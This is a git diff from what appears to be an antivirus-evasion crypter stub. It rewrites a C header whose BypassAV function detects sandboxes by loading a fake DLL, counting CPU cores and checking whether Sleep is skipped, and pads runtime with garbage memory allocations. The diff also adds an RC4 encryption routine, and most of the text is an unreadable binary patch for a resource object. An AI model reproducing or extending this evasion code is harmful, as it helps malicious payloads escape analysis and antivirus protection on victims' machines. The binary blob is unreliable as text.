- fileName string - keySize int + FileName string + KeySize int key []byte staged bool iat bool resource bool verbose bool + debug bool //Analysis... fileSize string diff --git a/stub/AntiSandbox.h b/stub/AntiSandbox.h index fee0fe7..e56fd37 100644 --- a/stub/AntiSandbox.h +++ b/stub/AntiSandbox.h @@ -4,51 +4,36 @@ DWORD WINAPI BypassAV(LPVOID); void HideWindow(); void Bunny(); -void Hop1(); -void Hop2(); -void Hop3(); -void Hop4(); -void Hop5(); - +void Malloc(); DWORD WINAPI BypassAV(LPVOID params){ - Bunny();// }=> Obfuscate the code with function calls and garbage memory allocations... + Bunny(); + + HINSTANCE DLL = LoadLibrary(TEXT("27a01d4772038a3f83552908e0470604e773f8af.dll")); + if(DLL != NULL){ + BypassAV(NULL); + } + + SYSTEM_INFO SysGuide; + GetSystemInfo(&SysGuide); + int CoreNum = SysGuide.dwNumberOfProcessors; + if(CoreNum < 2){ + BypassAV(NULL); + } - HINSTANCE DLL = LoadLibrary(TEXT("fakeass.dll")); //} - if(DLL != NULL){// | - BypassAV(NULL); // |=> Try to load a fake dll... - }// } + int Tick = GetTickCount(); + Sleep(1000); + int Tac = GetTickCount(); + if((Tac - Tick) < 1000){ + BypassAV(NULL); + } - - - - SYSTEM_INFO SysGuide;// } - GetSystemInfo(&SysGuide);// | - int CoreNum = SysGuide.dwNumberOfProcessors;// | - if(CoreNum < 2){// |=> Check the number of processor cores... - BypassAV(NULL); // | - }// } - - - - // } - int Tick = GetTickCount(); //| - Sleep(1000); //| - int Tac = GetTickCount(); //| - if((Tac - Tick) < 1000){ //|=> Check if the sleep function is skipped... - BypassAV(NULL); //| - } //| - // } - - - Bunny();//}=> Obfuscate the code with function calls and garbage memory allocations... + Bunny(); return true; } - - void Bunny(){ double Max = 9999999; @@ -59,13 +44,10 @@ void Bunny(){ for(int i = 0; i < 8; i++){ - Hop1(); - Hop2(); - Hop3(); - Hop4(); + Malloc(); Start:; i++; - Hop5(); + Malloc(); if((i % 3) == 0){ goto Start; } @@ -74,9 +56,7 @@ void Bunny(){ } - - -void Hop1(){ +void Malloc(){ char * Memdmp = NULL; Memdmp = (char *)malloc(100000000); @@ -85,45 +65,3 @@ void Hop1(){ free(Memdmp); } } -void Hop2(){ - - - char * Memdmp = NULL; - Memdmp = (char *)malloc(100000000); - if(Memdmp != NULL){ - memset(Memdmp, 00, 100000000); - free(Memdmp); - } -} -void Hop3(){ - - - char * Memdmp = NULL; - Memdmp = (char *)malloc(100000000); - if(Memdmp != NULL){ - memset(Memdmp, 00, 100000000); - free(Memdmp); - } -} -void Hop4(){ - - char * Memdmp = NULL; - Memdmp = (char *)malloc(100000000); - if(Memdmp != NULL){ - memset(Memdmp, 00, 100000000); - free(Memdmp); - } -} -void Hop5(){ - - - - char * Memdmp = NULL; - Memdmp = (char *)malloc(100000000); - if(Memdmp != NULL){ - memset(Memdmp, 00, 100000000); - free(Memdmp); - } -} - - diff --git a/stub/RC4.h b/stub/RC4.h new file mode 100644 index 0000000..3b5d6c5 --- /dev/null +++ b/stub/RC4.h @@ -0,0 +1,37 @@ +// +// KSA (Key Scheduling Algorithm) +// PRGA (Pseudo-Random Generation Algorithm) +// XOR +// + + +#define N 256 // 2^8 + +void swap(unsigned char *a, unsigned char *b) { + int tmp = *a; + *a = *b; + *b = tmp; +} + +void KSA(unsigned char *key,int len,unsigned char *S) { + int j = 0; + for(int i = 0; i < N; i++) + S[i] = i; + for(int i = 0; i < N; i++) { + j = (j + S[i] + key[i % len]) % N; + swap(&S[i], &S[j]); + } +} + +void PRGA(unsigned char *S,unsigned char *plain,int len,unsigned char *cipher) { + int i = 0; + int j = 0; + + for(size_t n = 0; n < len; n++) { + i = (i + 1) % N; + j = (j + S[i]) % N; + swap(&S[i], &S[j]); + int rnd = S[(S[i] + S[j]) % N]; + cipher[n] = rnd ^ plain[n]; + } +} diff --git a/stub/Resource.o b/stub/Resource.o index 4788bdcb7caa80359fabd47c9a73aaaed035dfb7..d394f5586e6928597ccee60e21d5decd3c0cf8e1 100644 GIT binary patch delta 267 zcmXX;u}T9`5S$$wUqJA%5l%rAK?}u05ygN)2oexI6Jske=G_a4jYzOIg|(#EudqmE zYQI4A2PEHMDd?WMFtf8evpars_wUXfi6F1;ql*h4fhgKA*B-8qMMnLI4-w@#B5PMN z(w67uJeNH{Zi-Jaqs^~G~B{xnChfgQuHVGCsgaDZw3_MBg;;27tqpoBBjQNw}- z>ZsxbsVU$NE4r64*-z0x6CJd0W1%%eYN3+#s_i_w#!cL!jh?C8E&uZWmG(2PN}^90 dI}=3|G!9&L4P4_gf2pT|7iJFw5A`e1{{R@xHv<3w delta 232 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 